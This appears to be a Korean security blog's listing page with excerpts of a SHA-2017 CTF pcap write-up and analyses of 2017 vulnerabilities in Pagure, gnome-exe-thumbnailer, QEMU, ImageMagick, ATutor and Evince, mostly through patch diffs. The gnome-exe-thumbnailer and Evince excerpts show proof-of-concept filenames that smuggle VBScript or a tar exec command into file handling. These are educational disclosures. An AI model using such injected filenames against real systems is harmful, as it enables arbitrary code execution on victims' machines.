기본 콘텐츠로 건너뛰기

SHA-2017-Teaser-Round_Website Attack

SHA-2017 Teaser-Round Network Website Attack write up 문제 풀이를 위한 pcap 파일이 주어진다. PCAP 은 Packet Capture 의미로 네트워크 트래픽을 캡쳐하기 위한 API 로 구성이 되어 있다. 윈도우로 포팅되어 있는 것은 WinPcap 이며, 유닉스 환경에서는 libpcap 이다. libpcap 과 winpcap 라이브러리를 이용하여 캡쳐된 패킷을 파일로 저장하거나, 저장된 패킷을 읽고 또는 다른 프로그램에서 라이브러리를 이용해 패킷파일을 분석/편집 등을 할 수 있다. 이를 이용한 대표적인 패킷 캡쳐 프로그램이 tcpdump 나 wireshark 이다. 출처 : 패킷인사이드 와이어 샤크를 이용하여 pcap을 열어보면 TCP, IPA 패킷이 저장되어 있는 것을 확인할 수 있다. IPA 패킷 내용을 확인해보면 HTTP 패킷으로 보이므로 분석의 용이성을 위해서 HTTP 패킷으로 변환하여 분석하도록 한다. Wireshark -> Analyze -> Enabled Protocol -> GSM over IP 체크 해제 참고 URL Data which has been sent over TCP\IP has been recognized by wireshark as “IPA” Protocol [Malformed Packet: GSM over IP] 패킷의 흐름을 살펴보면 다음과 같다. Created with Raphaël 2.1.2 237 237 208 208 GET /?action=search&word=&sort=stock Encrypt/Encoding 302 Found GET /?action=display&what=[encrypt string] 여기서 word 의 값만 변경되는 데 총 3개의 word 를 요청한다. kl Trad AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

CVE-2017-1002151

CVE-2017-1002151 Pagure 에서 Private 저장소에 누구나 접근할 수 있는 취약점이 발생했다. Pagure 는 git 기반으로 Github 과 같은 소스 저장소를 만드는 데 사용하는 프로그램이다. Diff 변경된 소스 코드를 살펴보면 SSH 액세스를 구성하는 데 사용되는 gitolite 에서 프로젝트의 Private 여부를 확인하는 조건문이 추가되었다는 것을 확인할 수 있다. @@ -126,7 +126,7 @@ repos = '' config.append( 'repo %s%s' % (repos, project.fullname)) - if repos not in [ 'tickets/' , 'requests/' ]: + if not project.private and repos not in [ 'tickets/' , 'requests/' ]: config.append( ' R = @all' ) if project.committer_groups: config.append( ' RW+ = @%s' % ' @' .join( Link

CVE-2017-11421

CVE-2017-11421 gnome-exe-thumbnailer 에서 임의의 VBscript 삽입이 가능한 취약점 Bad Taste (CVE-2017-11421)가 발생했다. POC 취약점 테스트를 위해 poc.xml 을 생성한다. <?xml version="1.0" encoding="utf-8"?> < Wix xmlns = "http://schemas.microsoft.com/wix/2006/wi" > < Product Version = "1.0" /> </ Wix > wixl 로 poc.msi 를 생성한다. wixl -o poc.msi poc.xml cp poc.msi "poc.msi\" , 0 ): Set fso=CreateObject(\ "Scripting.FileSystemObject\" ): Set poc=fso.CreateTextFile(\ "badtaste.txt\" ) '.msi" wixl : XML 문서로 MSI 패키지를 빌드하는 도구 그놈 파일 매니저(GNOME Files)를 이용하여 poc.msi 가 저장된 디렉터리를 탐색하면 badtaste.txt 파일이 생성되는 것을 확인할 수 있다. Diff Github에서 소스코드 변경 이력을 확인해보면 삭제된 코드 중에 wine으로 cscript.exe 를 활용하는 부분을 확인할 수 있다. # Get the version number: if [[ ${INPUTFILE##*.} = 'msi' ]] then - # Look for the ProductVersion property if user has the Microsoft (R) Windows Script Host installed: -

CVE-2017-11434

CVE-2017-11434 많은 사람들이 이용하는 가상화 소프트웨어 QEMU 에서 OOB(Out of Bound) Read와 관련된 취약점이 발견되었다. 착각할 수 있는 용어 TCP/IP 환경에서 OOB(Outbound Of Band) 란 인터넷 접속 시 데이터 송, 수신에 대한 통제정보를 보낼 때 사용하는 패킷으로 일반적인 데이터에 비해 높은 우선권을 부여 받아 전송되며, 접속 해지 등 예외적인 상황을 데이터 송수신 중간에 상대방에게 보내기 위해 사용된다. 이 때 TCP/IP 헤더의 URGENT 비트를 ‘1’로 설정함으로서 OOB데이터임을 표시한다. bugzilla 에서 취약점이 발생 소스코드를 살펴보자. --- slirp/bootp.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/slirp/bootp.c b/slirp/bootp.c index 5 a4646c. .5 dd1a41 100644 --- a/slirp/bootp.c +++ b/slirp/bootp.c @@ - 123 , 6 + 123 , 9 @@ static void dhcp_decode( const struct bootp_t *bp, int *pmsg_type, if (p >= p_end) break ; len = *p++; + if (p + len > p_end) { + break ; + } DPRINTF( "dhcp: tag=%d len=%d\n" , tag, len); switch (tag) { -- 소스코드에서 간단히 확인할 수 있듯이 클라이언트가 전송한 DHCP 옵션 구문을 해석하는 과정에서 길이 검증 로직이 존재하지 않아 경계선 밖의 메모리에 접근하는

CVE-2017-11352

CVE-2017-11352 ImageMagick 에서 발생했던 CVE-2017-9144 취약점의 미흡한 조치로 인하여 동일한 취약점이 다시 발생되었다. 재 발생된 취약점 CVE-2017-11352은 coders/rle.c 에서 RLE 이미지에 대한 부적절한 EOF 처리가 원인이었다. EOF 란? 파일의 끝(End of File, EOF)으로 데이터 소스로부터 더 이상 읽을 수 있는 데이터가 없음을 나타낸다. ImageMagick Github Page 에 들어가보면 해당 이슈를 상세히 확인할 수 있다. 부적절한 EOF 처리 원인은 소스 코드 수정 시 유사한 코드를 복사 붙여넣기 하는 과정에서 검증해야할 변수 명을 고치지 않고 그대로 적용해서 발생했다. operand=ReadBlobByte(image); if (opcode == EOF) ThrowRLEException(CorruptImageError, "UnexpectedEndOfFile" ); 이로 인해서 조치 완료된 줄 알았던 CVE-2017-9144 취약점은 CVE-2017-11352이라는 새로운 취약점 명으로 다시 조치 되었다. case SkipLinesOp: { operand=ReadBlobByte(image); - if (opcode == EOF) + if (operand == EOF) ThrowRLEException(CorruptImageError, "UnexpectedEndOfFile" ); if (opcode & 0x40 ) { operand=ReadBlobLSBSignedShort(image); - if (opcode == EOF) + if (operand == EO

ATutor XSS

ATutor XSS Vulnerability 오픈소스 온라인 학습 관리 시스템 ATutor 에서 다수의 취약점이 발견됐다. 취약점이 패치된 새로운 2.2.2 버전을 릴리즈하였다. ATutor Github 에서 수정사항을 살펴보자. XSS 삭제된 코드 $_POST [ 'title' ] = $content_row [ 'title' ] = $addslashes ( $_POST [ 'title' ]); addslashes 함수는 데이터베이스 질의 등의 작업을 위해서 이스케이프해야할 문자 앞에 백슬래시를 붙여 반환하는 함수이다. 이스케이프되는 문자는 홑따옴표, 겹따옴표, 백슬래시, 널이다. 이스케이프되는 문자 종류에서 볼 수 있듯이 addslashes 함수는 스크립트 구문 삽입 공격에 대한 치환 용도로는 부적절하므로 이와 같이 크로스 사이트 스크립팅 취약점이 발생되었다. 추가된 코드 function clean_title ( $title ) { //strip any bad stuff off the title $title = htmlspecialchars_decode( $title ); // This might be problematic for multi sentence title? $title = preg_replace_callback( '/([\?^\s])(.*)/' , function ( $str ) { return str_replace( array ( "'" , '"' , "&quot;" ), '' , $str [ 0 ]); }, $title ); $title = pre

CVE-2017-1000083

CVE-2017-1000083 리눅스 환경에서 PDF와 같은 문서를 보는 용도로 많이 사용되는 Evince 에서 cbt 파일을 열 때, 임의의 명령어를 실행할 수 있는 취약점이 발생했다. 취약점에 대해 살펴보자. CBT 파일은 tar형식의 파일로 cbt 파일 처리 시 Evince는 tar -xOf $archive $filename 와 같은 명령어를 수행합니다. 구글 보안팀에서는 tar 옵션으로 구성한 JPG 파일을 이용하여 취약점을 증명하였다. File Name : “–checkpoint-action=exec=bash -c ‘touch ~covfefe.evince;’.jpg” fwilhelm@box $ tar -tf poc.cbt --checkpoint-action= exec =bash -c 'touch ~/covfefe.evince;' .jpg fwilhelm@box $ ls -la ~/covfefe.evince ls: cannot access covfefe.evince: No such file or directory fwilhelm@box $ evince poc.cbt fwilhelm@box $ ls -la ~/covfefe.evince -rw-r----- 1 fwilhelm eng 0 Jun 28 11 : 05 /home/fwilhelm/covfefe.evince 파일 이름에 삽입한 tar 의 –checkpoint-action 옵션이 동작하여 파일 생성에 성공한 것을 확인할 수 있다. 취약점을 발견한 구글 보안팀에서는 프로그램 내 tar 명령어의 구성을 다음과 같이 변경할 것을 권하였다. { " %s -xOf --" , " %s -tf -- %s " , NULL , FALSE, NO_OFFSET} 실제 프로그래머들은 CBT 파일 사용이 제한적이라는 판단으로 tar 사용 소스코드를 제거하는 방법으로 조치를 완료하였다. (